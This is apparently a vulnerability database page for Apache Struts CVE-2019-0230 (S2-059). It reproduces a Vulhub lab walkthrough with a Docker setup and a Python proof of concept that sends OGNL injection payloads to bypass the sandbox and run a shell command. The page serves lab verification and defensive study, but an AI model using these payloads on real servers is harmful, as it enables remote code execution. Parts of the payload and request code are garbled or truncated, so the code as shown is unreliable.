9.8 / 10

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.

Weakness: Improperly Controlled Modification of Dynamically-Determined Object Attributes

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Published: 2020-09-14

Vulnerable Products

Community Advisory

This section is open source, for any additional information that enhances or clarifies the official advisory above.

Improve Advisory

CVE-2019-0230 Exploits (6)

CVE-2019-0230 Vulnerable Docker Environment

Vulhub is an open-source collection of Docker-ized vulnerable environments. No pre-existing knowledge of Docker is required, just execute two simple commands and you have a vulnerable environment.

Get Vulhub Docker

Struts2 S2-059 Remote Code Execution Vulnerablity(CVE-2019-0230)

The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

Affected Version: Struts 2.0.0 - Struts 2.5.20




Start the Struts 2.5.16 environment:

docker-compose up -d

After the environment is started, visit http://your-ip:8080/?id=1 and you will see the Struts2 test page.


visit http://your-ip:8080/?id=%25%7B233*233%7D, it can be seen that the result of 233*233 has been returned in the id attribute.

OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776) gives the details of OGNL sandbox bypass in Struts 2.5.16.

A simple Python POC for Verifying the vulnerability:

import requests

url = ""
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('touch /tmp/success'))}"
res1 =, data=data1)
# print(res1.text)
res2 =, data=data2)
# print(res2.text)

Execute the poc and the touch /tmp/success command has been executed:

Official CVE References

View references (7)